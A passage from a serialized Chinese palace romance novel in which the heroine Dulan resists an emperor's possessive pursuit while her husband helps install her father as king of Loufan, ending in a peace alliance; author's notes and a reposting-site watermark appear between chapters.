“行了,起来吧。事已至此,你已嫁做人妇,又能怎么着呢?”太后让她坐下,语气软了几分,“往后在宫里,有哀家给你撑腰。明日的马球赛,哀家已经给御马监打过招呼,给你留了匹性子温顺的,你便跟他们去玩儿玩儿吧。” “谢太后。” 辰时的京城空气还很凉,空中浮着薄薄的雾,都兰换上太后赐的碧色骑装,束出紧实腰肢,袖口镶一圈白狐毛。 她对着铜镜拢了拢鬓发,模样利落。 都兰推门出去,见陈锦时穿着玄色骑装,腰佩白玉带,手里牵来照夜,“照夜”是都兰给当初谢清樾送来那匹黑马起的名字,比起太后让御马监留给她的枣红色小马,要威风凛凛得多。 都兰自然选了照夜,她毫不在意自己辜负了太后好心,也不怕因此得到太后不满。 出了城门,薄雾渐散,旌旗隐约可见,近了才看清皇家排场。 外围圈着两丈高的朱红围栏,顶上悬着明黄与绯红相间的旌旗,风一吹便猎猎作响。 围栏内分了三处区域,东侧是马厩,中间是赛场,西侧是一溜彩棚,最高处的明黄棚子格外显眼。 都兰刚来,就见两个太监迎上来,躬身行礼:“都兰大人,太后在等你。” 说话间,太监的目光悄悄扫过都兰牵来的照夜,见这匹马鬃毛油亮、眼神锐利,眼底闪过一丝惊讶,却也没敢多问。 女眷穿着绫罗绸缎,手里捏着团扇,也有少数几个同都兰一样,待会儿要上场的,看着她的眼神里藏着深究。 谁都知道,这位陈二奶奶如今是慈宁宫近侍,极得太后看重,不知今日会有什么动静。 陈大人远去楼烦之前,也是京中不可多得的好婿人选,念他年纪尚轻,京中几户要嫁女的人家也不急,却没想到,陈大人到楼烦不过半载,已有成婚的消息传回京中。 时间回到现在,视线落过去,正是眼前此女。 她没有京中女子刻意养出的柔润轮廓,有几位女眷议论她脖颈处未缀珠玉,却转眼见她翻身上了堪称神骏的照夜,一眼望去便觉鲜活。 都兰勒着缰绳让照夜小步踏动,马鬃飞扬间,她走过半个马球场,到了太后的帐子前。 都兰指尖微收,力道不重却带着十足的掌控力,黑马瞬间安静下来,看得帐外围着的几个准备上场的勋贵公子都顿了顿。 “这就是陈大人娶的那位异族女子?” 都兰在马背上微微俯身,算是打声招呼,太后身前的内侍请她进去: “都兰大人,太后在内,还请速速下马。” 都兰从马上跳下来,太后坐在棚内软榻上,见了她,先是一笑:“你今日可得站在哀家这一队,哀家押你赢。” 都兰跪地行了礼,便问:“太后押的队伍里还有谁?” “有皇上,还有几位王爷,先歇会儿,等他们到了,便开始。” 都兰刚要应声,就听见身后传来一阵马蹄声。 转头见玄澈骑着匹白马过来,四年不见,他长相冷厉了许多。 少了几分少年气的温润,多了几分帝王家的威严。 玄澈的白马停在帐前,翻身下马。 “儿臣参见母后。”他先对着太后行礼,待直起身,视线才落到都兰身上。 她已跪地俯首:“皇上金安。” “都兰,别来无恙。” “托陛下的福,一切都好。” 玄澈在高位坐下,忽然一笑:“朕还以为,你一直生着朕的气呢。” 此话暧昧,都兰故作镇定。 “不敢。” 她故作卑躬屈膝和疏远,玄澈又是一笑。 “朕很欣慰,都兰,当年朕逼你离开一事,如今再次相见,朕亦反思不少。” 都兰垂着头,长睫掩住眼底情绪。皇上如今这样说话,皆因她当时动用他玉佩一事。 不是不可以用,而是,一旦用了,情分便会浮出来。 男人身上皆有一种情结,女人用了他的帮助,依靠了他的“胸膛”,便会被他一定程度“据为己有”。 正如皇上说:“朕很欣慰。” 那么一个女人要彻底拒绝一个男人,首先要杜绝他的所有帮助和资源。 而都兰没有做到,她用了他的玉佩。 一个女人一旦向一个男人索求了一点帮助,释放出了一点自己的脆弱,也是给对方留可能性的一种方式。 好在她如今已为人妻,皇上无法再将她“据为己有”,也绝无“可能性”。 “皇上,当时事急从权,并非都兰本意,若有僭越,都兰愿意受罚。” 玄澈目光落在她脖颈上,语气倒不显得咄咄逼人:“朕知道,那权,是朕给你的,自然是随你用。”反倒有些宠溺的意味。 都兰脊背绷得更紧,轻轻闭上眼,她怕的就是他这样回 话,倒不如惩罚她一回,好把两人之间划分得清清白白。 那玉佩是当初走前,玄澈给她,目的只为保她一路安全到家,有人护送,不必为钱财发愁,遇到任何困难都可向当地官员求助,这也是皇上唯一许可过的用法。 皇上脸上始终带着笑意,好似对一切游刃有余,都兰不敢抬头。 太后蹙眉张口:“好了,今日是来玩的,哪能总揪着旧事说?都兰,快起来。” 都兰终于起身,刚站稳,太监捧着章程进来:“启禀陛下、太后,几位王爷都到了,请陛下示下是否开赛。” 玄澈起身,目光扫过都兰:“走吧,都兰,今日你负责给朕传球。” 皇上是在命令她,并不是在询问她。 都兰没敢多问多说,无法拒绝,只能应声:“遵陛下旨意。” 玄澈眼底掠过一丝浅淡笑意,转身走出账外,都兰跟在后面。 陈锦时为首的另一队,就站在他们对面。 几位王爷骑着马等候,见皇上过来,裕王笑着道:“陛下今日亲自下场,臣弟几个可不会相让,该怎么打就怎么打。” 玄澈从前做太子的时候,裕王就爱上蹿下跳,琢磨着把太子拉下马,自己上位,可惜他手段实在拙劣,玄澈从未把他当做真正的对手。 但如今这种场合,唯有他还敢放言挑衅皇帝,真叫一个蠢不自知。 玄澈唇角噙着笑:“自然,赛场有赛场上的规矩,你们谁都不许让着朕。” 裕王又道:“皇上,陈大人夫妇两个各在一队,自古以来是夫唱妇随的规矩,您可得当心队伍里有个叛徒,把球往我们陈大人手上送。” 话音落下,几个勋贵子弟没忍住“哈哈”大笑起来。 闻言,玄澈似笑非笑地转头看向都兰,挑眉问道:“都兰大人,你会吗?” 都兰瞟了陈锦时一眼,那人正昂首挺胸,骑在黑马上简直像个货真价实的武将,一句话回应了裕王:“裕王殿下多虑了,向来只有微臣把球往她手里送的道理,一个是媳妇,一个是皇上,臣绝不敢有二心。” 说着,陈锦时的目光射向玄澈,一番话做足了忠臣姿态,至于眼神…… 马球被抛向空中的瞬间,玄澈率先策马冲出,瞬间逼近。 都兰也立刻跟上,照夜的速度快如闪电,她精准预判了马球落点,手中球杆微微一扬,恰好将球拦下,顺势传给玄澈。 太后举着西洋镜,叹了一声“好球!” 她真是越来越喜欢都兰了。 玄澈接到球,回头看了都兰一眼,眼底带着几分赞许,策马直奔对方球门,眼看就要得分。裕王冲过来试图拦截。玄澈手腕一转,巧妙避开。 都兰见状,立刻策马上前,球杆一横,堪堪挡住对方的冲撞。 玄澈趁机挥杆,马球稳稳落入球门,得分的钟声瞬间响起。 “陛下好球!”帐外传来一片喝彩声。玄澈勒住马,转头看向都兰:“方才多谢。” 裕王哼笑了一声:“都兰大人,你一个弱女子,就不怕被我们这些大男人给冲撞坏了?下次再拦着本王,本王1可对你不客气。” 都兰坐直了马上的身躯,忽然想念自己那身貂袍,在草原上穿上简直是人畜不分,谈何男女之别。 陈锦时慢慢悠悠打马到裕王跟前拦住他:“哦?听裕王殿下这话,下一回合是要动真格的了?动真格是动真格的打法,与方才不同。” “那是自然!” “方才都兰大人拦你,尚且动作体面。真要论骑术身手,你未必是她对手。”陈锦时语气平淡,唇角勾起一抹冷冽的笑。 “嘁!一个女人罢了。” 都兰冷冷瞥了对方一眼,打马回到皇上神户。 马球再次被抛起,号角声起,裕王不顾别的,直奔都兰而来,马速极快,带着要撞翻人的架势。 定要证明他裕王不会连个女人都比不过。 裕王的马蹄踏得草地飞溅,周围观赛的女眷一阵惊呼,太后都蹙起了眉。 “这裕王也真是,这么大年纪了,没点长进,真要跟个女人过不去不成?” 看着对方来势汹汹,都兰左腿轻磕照夜腹侧,黑马瞬间领会,优雅地向侧后方撤了半步,恰好避开裕王马头的冲撞。 同时她右手球杖往后一扬,精准勾住裕王的球杆,不是蛮力拉扯,而是借着对方冲过来的力道轻轻一挑,裕王握着球杆的手顿时一麻,马球“咚”地落在地上。 这一系列动作快得像阵风,等裕王反应过来,都兰已经俯身捡起马球,策马来了个漂亮的转身,正要将球传给队友。裕王又羞又怒,竟抽出腰间的马鞭,就要朝都兰当头抽去。 陈锦时坐在马上,离得不远。 他往前冲了两步,又顿时止住脚步,裕王的力道出得轻飘飘的,她能应付。 像如今这样的,都兰可大出风头的场合,陈锦时不愿阻扰,何不看她大显身手,把裕王掀翻下马呢? 可玄澈却动了。他原本正追着马球的方向,瞥见裕王抽鞭的动作,眉头骤然拧紧。不等都兰抬手应对,玄澈的白马已如一道白光冲过来,他随手挥出自己的球杖,“啪”地一声将裕王的马鞭打飞。 “放肆!”皇帝的声音很冷,“赛场比的是球技,你竟敢动鞭子?” 裕王被打得手一抖,抬头见皇帝眼底的怒火,才后知后觉地慌了:“臣弟,臣弟只是一时气急……” 都兰收回正要出手的动作,手上握着球杖退后。她眼底没什么波澜,只觉得这场闹剧真是无趣。 那人带着恶意来势汹汹,还手的机会被人夺去的滋味,还挺不好受的。 都兰遗憾自己并不是能从“被保护”当中获取快感的女人。 不,唯有一人,能给她这种快感。 可惜那人不是太子。 玄澈将裕王的错轻拿轻放了。 归根结底,那是他皇弟,并且鞭子也并未真的伤到人,众目睽睽之下,玄澈无法给他什么严厉惩罚。 玄澈重新把目光落到都兰淡然的侧脸上,心头竟掠过一丝莫名的落空。 她至少该表现得,柔弱一点,甚至躲到他身后,嘤嘤哭泣着,感谢他的出头。 陈锦时勒着马,见她安然无恙,紧绷的肩线渐渐放松,并不遗憾救了她的不是自己,只是可惜……那些人永远不会再知道,他的妻子可以掀翻裕王的这件事情。 他的阿姆啊…… “都兰,你没事吧?” 玄澈宣布比赛暂停,打马到都兰身旁问她。 他讨厌这种被忽视的感觉。 “多谢陛下关心,臣无事。”语气依旧是恰到好处的疏离。 都兰回到太后身边坐下,底下的马球赛又开始了。 太后问她:“是不是受委屈了?” 都兰摇头:“怎么会?” “裕王向来是那般无礼,你别理他就是了。” 太后说着,目光扫过场上的裕王,眼底掠过一丝不悦。那个蠢货,丢人现眼的东西。 “臣只是在想,皇上为何出手那般快?倒是劳陛下一回了。” 太后道:“你不必谢他,都是他该做的,成为一个帝王之前,哀家要他首先做一个君子。” 都兰默默听着,没有一个母亲对自己的儿子不满意,就连太后,有事无事也夸起皇上来。 她无心再听下去,朝场上望去,恰见陈锦时一记漂亮的截球,随即转头朝她的方向望来,隔着人群,两人的视线轻轻一碰。 她的唇角便不自觉地勾起浅淡的弧。 太后觉得有点可惜,为何她是个异族女子。越看越觉得这京城里众多闺秀,无一人比得上她。 “都兰,你要是累了,就去里间歇一会儿。” 都兰摇摇头,眼底带着笑意:“不累,今日很尽兴。” 贤妃牵着大公主过来,给太后问了安。玄澈登基后,膝下只出了大公主一个,因此大公主格外得到宠爱。 都兰见女孩儿粉雕玉琢,也兴起逗了两下。 时至傍晚,夕阳斜斜地挂在天际,又一回合开始了。 都兰走出帐子,没有察觉身后忽然出现之人。 “都兰,朕原本是打算放下你了,可朕又实在是放不下你,可怎么办呢?” 玄澈心里有着十足的冷静,他此番开口,绝不是色心大发,绝不是一时冲动不计后果,绝不是利用权力认为这世间没有他想要却得不到的。 他经过了无比漫长的权衡,才说出的这番话。 他从未见过都兰这样的女人,她浑身上下无处对他不是诱惑十足。 她极具风情,她浑身同时具有温润和敦厚,她在金陵待过许多年,身上被浸染 了那种流水潺潺的柔润韵味,同时又有着独一无二的塞外风骨。 她的眼神绝对是沉重而多情的,有一种神力,引着他探究其中,因而越发受不得她的疏离,巴不得把她揉碎了细细品味才好。 他不可抗拒,他想走进她,那种冲动数次被压抑,却压抑不住。 那么事已至此了,他才不得不想到,他是皇帝,他可以得到—— 作者有话说:番外想看什么请点菜,尽量满足,到时候要记得零点来看 正文大概还有1—3章吧魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第72章【VIP】 第72章 玄澈的神情令都兰退后了一步。 那是身为帝王的势在必得,还有她极熟悉的一种情绪,叫偏执。 “那陛下,要怎么办呢?” 都兰悄悄看向四周,这大庭广众的,对方也做不了什么。 玄澈却绕到她身前,眼底的执拗越发清晰,他扶起她的脸:“听闻你们楼烦女子,丧夫、改嫁是常有的事。” 都兰猛地攥紧了拳,抬眼瞪他:“我不会允许你伤害他。” “为什么?”他眉眼间的冷厉忽然柔和了几分,“是因为他是你的丈夫,还是因为他是你的孩子?” 他柔声像安慰:“都兰,朕不会伤害你的孩子。” 都兰瞳孔骤然收缩,心头像被针尖狠狠刺了一下。 她猛地挥开玄澈的手:“皇上,你不能如此不讲道理。” 玄澈的手僵在半空,看着她眼底毫不掩饰的怒意,竟莫名觉得心头一痒。 自他认识她以来,这是她第一次动怒。 他喜欢看她动怒,她终于不再像个无喜无悲的神女。 要知道,愤怒是一种索求,向谁愤怒便是在向谁索求。 “好了好了,朕知道了。”他在哄她,他真的不会去伤害她的孩子。 夜宴上,陈锦时开始敌视高台上的皇帝。 令他感到错愕的是,皇帝回给他的是一种温和而充满善意的视线。 都兰换好宫中,坐到他身边,陈锦时看出她的心事重重。 角落里,他压低声音问她:“阿姆,你说他有病吗?” 都兰睫毛颤了颤,往高台望了一眼。 “他没病,吃你的饭。” 陈锦时不再多问,被她盯着吃了两口东西。 这话刚落,就见一个内侍提着食盒走到桌前:“都兰大人,陛下念您白日辛苦,特意让御膳房做了奶酥糕,让小的给您送来。” 都兰又抬眼望了他一眼,那人的眼神温和得近乎诡异。 食盒打开,奶白色的糕点做得很精致。 陈锦时脸色沉下来,顿了顿,反倒笑起来,仰头望向那人,手揽着都兰的腰。 那人以为,这样就可以挑衅他吗? 实则连谢清樾的竞争力也赶不上。 他拿起一块糕点,亲手喂给都兰,像是在宣示主权。 他低声问她:“阿姆,他怎么老在看你。” 都兰轻轻咬碎糕点,垂下头,眼睫盖下来后,眼眸流转起来。 她在想法子,想一个有趣的法子。 都兰胆子不小,心性看似沉稳,却狡黠得很。 桌下,就连陈锦时也没想到,她的手忽然探进了他的裆。陈锦时眸子瞬间瞪大,这是,这是阿姆的奖赏! 他忍住浑身的颤抖:“阿姆,你想如何?” 都兰心想,玄澈自以为掌控一切,他身居高位,可以逼走她,也可以继续纠缠她。 但都兰不是一个喜欢被人拿捏的人。她要让高台上那位帝王,在这一把,输得淋漓尽致。 三日后,都兰在慈宁宫遇到前来给太后请安的皇帝。 玄澈显然还没死心,在御花园拦住她,又絮絮叨叨说了许多话。 “谢清樾在楼烦的任务办得差不多了,朕打算叫陈锦时过去收尾,功劳给他。” “都兰,他走了以后,朕打算让你留在宫中,全天照看母后的身体。” 都兰垂着头,默认了他的计划。 “你放心,待陈锦时从楼烦回来,朕不会亏待他。毕竟,他是你寄予厚望的孩子。” 玄澈眼底的偏执稍稍散去,竟透出几分不易察觉的雀跃。 抬手想碰她的头顶,都兰没有避开,他的指尖落在她毛茸茸的发顶,蓬松的褐色卷发编织成一头茂盛,显出无限旺盛的生命力,玄澈为此深深着迷。 夏天还没过完,陈锦时就接了调令,要动身前往楼烦。 都兰给他装了满满一马车行李:“回去带给阿爸他们,图雅只怕要生了,我给她做了些阿胶,你带上,还有这些茶叶、布料。” 陈锦时收紧捆物资的麻绳,用膝盖顶着车板,利落地打了个结:“放心吧,到时候我给你回信。” 走前,陈锦时最放心不下的还是她:“你定要护好自己。” “我知道。” “保护好自己,还有那把火铳。” 直到马车轱辘碾过路面,卷起一阵尘土。都兰站在原地,转身往皇宫走。 刚入宫门,见内侍捧着一件天青色披风候着,见了她忙上前:“都兰大人,陛下让小的给您送件衣裳。” 都兰眼底掠过一丝冷意,还是接了过来:“谢过陛下。” 当晚,玄澈便以“陪侍太后”为由,召贴身女医都兰住进了慈宁宫偏殿。 她偷偷擦拭着藏着枕下的火铳,陈锦时是为了迎接楼烦人的归顺而走,除了她的丈夫,皇上、臣子、非她一族的百姓,全都在等着那一天的到来,那是属于他们的荣耀,但绝不属于楼烦人。 陈锦时进士出身,受制于皇帝,不得不做这件事;谢清樾全族皆为朝廷所用,更是不得不做此事。 都兰被皇帝软禁在宫中,为了自己的性命,为了楼烦百姓不被铁骑对待,也不得不温顺认命。 住进来以后,玄澈常来她这处,有时是夜里来,坐会儿就走,有时拿着奏折来,问她楼烦的风土人情。 除了那日碰了她的发顶,他从未碰过她。 都兰将火铳擦拭得锃亮,枪管映出她眼底的冷光,她轻轻将其塞回枕下,刚整理好床榻,就听见殿外传来熟悉的脚步声。 内侍推开门,省了通报,玄澈穿着常服进来,他命人将食盒放在案上。 “楼烦新进贡来的奶豆腐,你尝尝是不是家里的味道。” 都兰垂眸上前,无意纠正玄澈说的“进贡”二字,楼烦尚未归顺一日,互市就该叫互市,不叫进贡。 掀开盖子一看,瞧形状便知。 “是泰赤乌部做的。” “是,朕看过地图,泰赤乌部离你家很近。”玄澈坐在案前,指尖捻起一块奶豆腐,缓缓递到她唇边,“尝尝吧。” 都兰面色平静地咬了一口,听玄澈道:“朕今日接到了从楼烦来的信,听说陈锦时如今在楼烦是人人喊打。” “这不是正如皇上心意?” 玄澈没吭声,只是专心致志地看着她。 “只是我始终不明白,陛下为何执着于让楼烦归顺?楼烦人偏居草原腹地,既不争地,也不争民。陛下若想与我族合作,如今已是最好的时机,若是定要收服在自己的版图上,只怕 有些人要不满。” 玄澈对她说话的声音很沉着温柔,但仍带着一丝帝王的野心:“没有哪个皇帝不想要四海归一,朕的做法,已经很温和了。” “在陛下眼中是四海归一的好事,在楼烦人眼中,却是被人哄骗着失去主权的屈辱。”都兰抬眼,目光直直撞进他眼底。 “屈辱?这是何意?”玄澈沉默片刻,恍然大悟,“你知道朕为何爱你吗?旁人被朕这样对待,会欣喜,或是认命,而你,你会感到屈辱?” 玄澈越想越彻悟。 “楼烦人没有被君主统治过,所以,都兰,你们的腰没有弯下过。” 这么多天了,他第一次忍不住碰了她的脸,她没有避开,脸颊被他托在手掌上:“都兰,朕现在很好奇,你朝朕跪地请安的时候,在想什么呢?是不服吗?” 玄澈觉得,任何人跪地向他朝拜,都没有都兰的更有力量。 他见多了向他跪拜的人,但只有都兰的跪拜,令他兴奋、令他…… 这是真正的猎物。 他浑身的血液都流动起来,灼热起来,他爱都兰,他是那么爱都兰! 他毫不介意她曾经有一个丈夫。 陈锦时是她的猎物,是她的羔羊,而她,是他的猎物。 玄澈不会吃猎物的猎物的醋,甚至认为,陈锦时可以一直存在。 只要都兰,能被他收服。 都兰淡淡瞥了他一眼,那眼神是那样的淡漠,好似他从始至终,都没有真正入她的眼。 “没有不服,皇帝陛下。” 玄澈自认是位真君子,尽管情感已经喷薄而出,他还是没有对她做出任何举动。 就连他托着她脸的手掌,也只是稳当地托住,并不用力。 比起揉捏她的脸颊,以示占有,他更期待她自己用脸颊来依偎他的手掌,祈求他的抚摸。 他相信都兰身上一定有那一面,陈锦时也未必尝过那样的她。 都兰在慈宁宫的日子按着规制,每日天不亮,先去给太后请脉,亲自给太后熬煮养身汤。 辰时刚过,御膳房的人会准时送来吃食,渐渐多了些楼烦风味,许多从前绝对在京城吃不到的吃食,如今都摆上了她的餐桌。 玄澈偶尔在午后过来,漫不经心地问她今日菜肴合不合胃口。 午后,太后午歇的时间,她多用来整理皇宫内的草药典籍,偏殿的书架上,渐渐堆满了她写的方子。 玄澈闲时翻来覆去地翻看这些方子,有时指着某味草药问:“这‘狼毒草’在楼烦常用吗?朕从前以为它有毒。” “狼毒草虽有毒,但若配着麻黄、甘草,能治顽固性风湿,楼烦的老牧民常用。”她一边解释,一边将写好的药方折好。 偶尔玄澈命她陪同到御花园散步,话不多,大多是问些楼烦的趣事:“你幼时常和玩伴们玩些什么?” “放牧,跟着兄长学医。” 玄澈忽然话锋一转:“楼烦众部归顺只差最后一步。朕打算封你为郡主,许你在京中建府,由你劝服楼烦各部彻底归顺。” 玄澈的声音平和,但不容置疑,仿佛给她的是至高无上的恩赏。 “陛下厚爱,都兰惶恐。”她声音平稳,听不出情绪,好似他方才所说对她而言无关紧要,“只是,归顺之事,非一纸诏书、一个封号肯定。都兰人微言轻,恐负陛下重托。” 玄澈有的是耐心等她满满软化,他深深看了都兰一眼。 接下来两日,慈宁宫依旧平静。都兰有意向太后求助,可皇上并未做什么过分之事,无非是降服楼烦一事,太后恐怕帮不了她。 她对玄澈的到来表现得越发平静,比以往更沉默几分,这种过分的安静,终于令玄澈心底生出一丝不安。 他以为自己早已习惯了都兰隐忍安静的反应,投石问路,也听不见回响。 他想要她。这样至少可以让他掌控她的身体,她的一部分。 但同时,他的品德、教养,不允许他这样做。 玄澈来看她来得更勤了,有时甚至会在批阅奏折的间隙,忽然信步走来。 他不再与她进行那些激烈的谈话,只是用一种近乎观赏的目光凝视她。 “都兰,”有一日黄昏,他忽然开口,声音带着一种奇异的温和,“如果朕许你皇后之位,你愿意吗?” 都兰有些诧异。 玄澈当年的两位侧妃,如今一个被封了贤妃,一个被封了淑妃,玄澈并无皇后。 在他的注视下,她思索了片刻,随后缓缓摇头。 “为何?”玄澈感到疑惑,“朕也是思虑了许久,愿意给你这样的诚意。你很好,堪当此位,待四海归一,朕想让你生下太子。至于旁的那些阻碍、异议,朕都有办法应对。” 都兰转过身,她也不敢相信玄澈会这样对待她。 “难道在你心里朕还比不上陈锦时?” 玄澈可不信她是为了什么忠贞观念。 “皇上,你恐怕的确不如他年轻力壮,况且都兰无心与后宫妃嫔争来抢去。况且,”都兰抬起眼,唇角勾起一丝极淡的弧度,“陛下难道从未想过,为何我与他成婚半载,腹中却无音讯?” 都兰的声音压得更低,看似坦白实则挑衅:“我与锦时……闺房之乐,重在欢愉,而非传承。陛下所说的要我生下太子一事,恐怕不是都兰想要的,都兰真正想要的,陛下只怕力不从心,给不起。” 她眉眼淡淡向下扫过一圈,轻佻而蔑视。 “都兰只想要个让我身心愉悦、年轻力壮的丈夫。” 玄澈脸上的血色瞬间褪去,他很难不因冒犯和羞辱而感到震怒。 他确实年长于陈锦时,帝王的威仪和养尊处优让他依旧俊朗,但年轻男子那种蓬勃的、未经磨损的生命力,是他无法企及的。 她所否定他的,是他原本最不在意的,是作为男人最基本的吸引力! 他堂堂皇帝,被比较在女人面前的吸引力,这实在太匪夷所思! 那双始终势在必得的眼眸里,此刻翻涌着惊涛骇浪,是杀意,是毁灭欲。 都兰仍旧用那双淡漠的眉眼看着他,他的失控反而代表猎人与猎物的颠倒。 他想驯服她?呵! 玄澈狠狠攥住她的手腕,那双向来沉静含威的眸子此刻赤红,翻涌着暴戾。 那层温文尔雅的君子皮囊被彻底撕碎,露出底色。 “朕现在就让你看看,朕给不给得起!” 他期待着她的眉眼染上慌乱,可惜仰起的脸上,眼神依旧是那片冻湖。 “陛下,男女之事并非用力便能使女子得到欢愉,有时候,光有力气是不够的,只会伤了自己,徒惹人笑话。” 她似乎毫不畏惧他要用强,但只反复提醒他一点,他若是令她不舒服了,她会嘲讽他,就算是要来,也学些技巧再来。 如今这一幕,陈锦时在走前未尝没有想到。 他之所以还是走了,一则,皇命不可违;二则,她有火铳在手,关键时候,顺从还是要他的命,选择权在她手里;三则,陈锦时虽有占有欲,却并不把“忠贞”二字套在她身上,若她选择顺从,定有她的道理。 阿姆做什么都有阿姆的道理。 陈锦时可以哭泣,可以埋怨,但是不能阻挠。 时 机终于在一个午后降临。 边境八百里加急军报传入宫中,楼烦局势突变。 几大部族非但没有顺利归顺,反而联合西域车师国兵马,陈兵边境,态度强硬地要求朝廷停止迫顺,恢复平等互市,根据密报,陈锦时和谢清樾两个带兵拥了答兰部落首领苏赫为楼烦王。 消息传来,一向脾气温和的玄澈在御书房砸碎了一方上好的端砚。 这些年,好的坏的都给了,红脸白脸都唱了。 “好,好一个谢清樾!好一个陈锦时!” “来人,把谢家人都给朕抓起来,朕要等谢清樾一个答复。” 内侍慌忙跪地:“皇上,谢家几位长老在朝堂上声势颇高,动不得啊!” “谢家朕动不得,那就把陈家人给朕抓了!” “您看看您现在的样子,怒火冲昏了头脑,还怎么掌控全局?” 不知何时,都兰出现在他身后,面容一如既往地平和温柔,身上反而多了反客为主地姿态。 玄澈回头,怒极反笑:“都兰,朕小看你了。” “陛下言重了。都兰只是一个小小的女医,何德何能玩弄陛下。” “你们这是在造反!是叛国!陈锦时是朕的进士!谢清樾是朕的臣子!”他的手指戳到她的鼻尖,“朕是不是该砍你们的头?” 都兰轻轻摇头:“皇上,不能。” 她的话语令他逐渐平静,这些年他上位以后,失了初心。 原本想拉拢楼烦,也不过是为了促进边境军民相助,他便能更好地掌握北境战事,不知从何时起,他渐渐起了收服他们的心思。 如今楼烦王是苏赫,从前平平无奇、声名不显,管理着一个小部落的苏赫,不难想到陈谢二人拥他上位的缘由。 苏赫是陈锦时的老丈人,是都兰的父亲,有他在,玄澈若还想请求楼烦助力,便不能动都兰和陈锦时,相反,若他回到初心,友好相待,陈锦时就是他的臣子,为他所用的臣子。 动不了谢家,不能动陈家,更不能莫名向楼烦王宣战。 承认与自己臣子有着亲属关系的苏赫为楼烦王,是当前止损的最优解,是他身为一个成熟帝王的理性选择。 玄澈那翻腾的、几乎要炸裂的怒火,在都兰平静的注视和那句“皇上,不能”中,奇异地开始消退,沉潜下去。 他看着她,这个他认为势在必得的女人,要用他的温情和赏赐软化的女人,此刻站在这里,从来不是以弱者的姿态乞怜,而是以一种近乎平等的、甚至带着些上位的姿态,在教导他? 他最初的目的是为了让北境安宁,让楼烦成为助力,而非敌人。 是从什么时候开始,他对楼烦的执念,掺杂进了对她个人的、扭曲的占有欲? 他想收服楼烦,亦如收服她一样。要用一种看似温和的手段,实则威逼与利诱交杂,直至哄着对方臣服。 他缓缓垂下了指向她的手指:“都兰大人,你赢了。” “皇上,沙地改为耕地的进程很顺利,往后我朝驻军边境,不用再为粮草一事发愁了。” “是。” “臣的父王苏赫,在楼烦会帮助陛下,以另一种更稳固的方式,维持北境的长久和平。” “是。” 玄澈沉默了片刻,像是甘愿接受这个全新的局面,但他不得不先蛰伏起来,认可面前人的话语。 在这个过程中,她的言语是在臣服、示弱,只是可惜,她的姿态并不是。 玄澈此时才意识到,他驯服不了这个女子,从始至终都不能,反而,被她…… 她有两样东西,就算是皇帝也不能剥夺,一个是尊严,一个是自由。 陈、谢二人班师回朝的那一日,玄澈身着冕服,亲自站在城楼迎接。 他看见都兰,那个不可驯服的女人,穿着鹅黄的裙子,颜色鲜嫩得像初春的迎春花,艳丽得惊心动魄。 她的褐色卷发没有像在宫中时那样规整地编织,只是松松地披在脑后,蓬松、茂盛、肆意生长。 玄澈的心,像是被什么东西狠狠攥了一下。 他看见她越过百官,穿过层层叠叠的仪仗,飞奔向了那个骑着白马、一身银甲的青年江陵。 玄澈清晰地看见,都兰脸上那层在他面前永远存在的、淡漠的、如同冻湖冰面的表情,瞬间碎裂、消融。 她的眼睛里闪烁着一种他求而不得的、纯粹而炽热的光芒。 她的唇角无法自控地向上扬起,那笑容越来越大,毫不掩饰,带着一种近乎天真的、蓬勃的喜悦。 她的步伐轻盈而迅捷,她的姿态热切而虔诚,蓬松的长发在她身后飞扬。 玄澈站在高处,一动不动。 他看着她奔跑。他身边的女子绝不会像这样奔跑。 他看着她脸上毫无保留的思念和依恋。 原来她有这样的一面。 陈锦时张开双臂,他的脸上同样是一种巨大的、温柔的狂喜。他的眼睛里,也只有她。 在无数道目光的注视下,在帝王的凝视中,都兰如同一只归巢的乳燕,精准地、毫不犹豫地扑进了陈锦时的怀抱。 她的手臂环着他的脖颈,指尖紧紧抓着他的衣领,微微仰头,没有半分犹豫,踮起脚尖吻了上去。 她是燎原的野火,向来不怕这样坚定地吮吸、碾磨,用尽全身力气去确认他的存在,而非在意旁人目光。 玄澈站在城楼上,清晰地感受到了那拥抱的力量。那是一种他永远也无法介入的、牢不可破的联结。他给予不了她扑向爱人的冲动,也给不了那个年轻男人承接她全部重量的臂膀。 他驯服不了她。 从始至终都不能。 反而,被她用这样一幕,在他心上,完成了最后、也是最彻底的一击。 他缓缓转过身,不再看那刺眼的一幕,冕旒下的脸庞,没有任何表情,只有一片深不见底的沉寂。 如果他下一世,不做帝王就好了。 皇帝称陈锦时和谢清樾二人“平定北境、缔结稳固盟约”,在楼烦洞察局势,顺应民意,巧妙周旋,最终说服楼烦各部放弃对峙,拥立明主苏赫,并以姻亲纽带为基础,与朝廷签订了有利于双方的和平盟约,乃大功臣,在太和殿设宴庆功—— 作者有话说:定时定错了,昨晚没有发出来,抱歉抱歉魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第73章【完结】 华灯初上,宫阙重重。 太和殿内灯火通明,丝竹管弦之声悠扬悦耳,一场为平定北境、缔结盟约的夜宴这样展开。 只是这样的祥和之下,涌动着只有局中人才能感知的暗流。 玄澈高踞主位,冕旒垂旒,遮住了他大半神情,只露出线条冷硬的下颌和紧抿的唇。他举杯,声音通过内侍的传唱,清晰地回荡在殿中: “楼烦立国,北境得安,此乃社稷之幸,万民之福。陈爱卿、谢爱卿,洞察局势,斡旋有力,促成盟约,功在千秋。朕,敬二位爱卿,亦敬我朝所有肱骨之臣!” “陛下万岁!”群臣齐声应和,举杯共饮。 楼烦王女都兰侍奉太后,一身碧绿宫装,恭谨沉静,进退有度,娴静温婉的姿态无可挑剔。 这样标准的礼仪,是她有心扮演,她可以学着宫廷的规矩,可以做出温婉的姿态,但那源自生命本源的、不受拘束的力量永远不会消失。 陈锦时换下戎装,身着绯色官袍,更衬得姿容似玉,抬头望向上首,极其自然地将视线落在都兰身上。 都兰仿佛心有灵犀,在陈锦时目光投来的瞬间,她正微微侧身准备为太后更换汤匙。没有人看到她有任何逾矩的动作,甚至连眼神都未曾偏移,依旧专注地看着手中的器皿。但玄澈却敏锐地捕捉到,在她低垂的眼帘下,那原本平静无波的唇角,似乎几不可察地、极其微弱地柔和了一瞬,像投入石子的湖面,终会荡开一丝涟漪。 那是一个需要极致专注才能发现的、属于他们两 人之间的、无声的交流。 强迫自己移开视线,看向殿下那些歌功颂德的臣子,看向那些翩跹起舞的宫娥,试图融入这片喧嚣的喜庆之中。 尝试了一会儿,他心生烦躁,屏退了侍从,独自出了宫殿。 “朕到御花园去散散,你们不许跟着。” 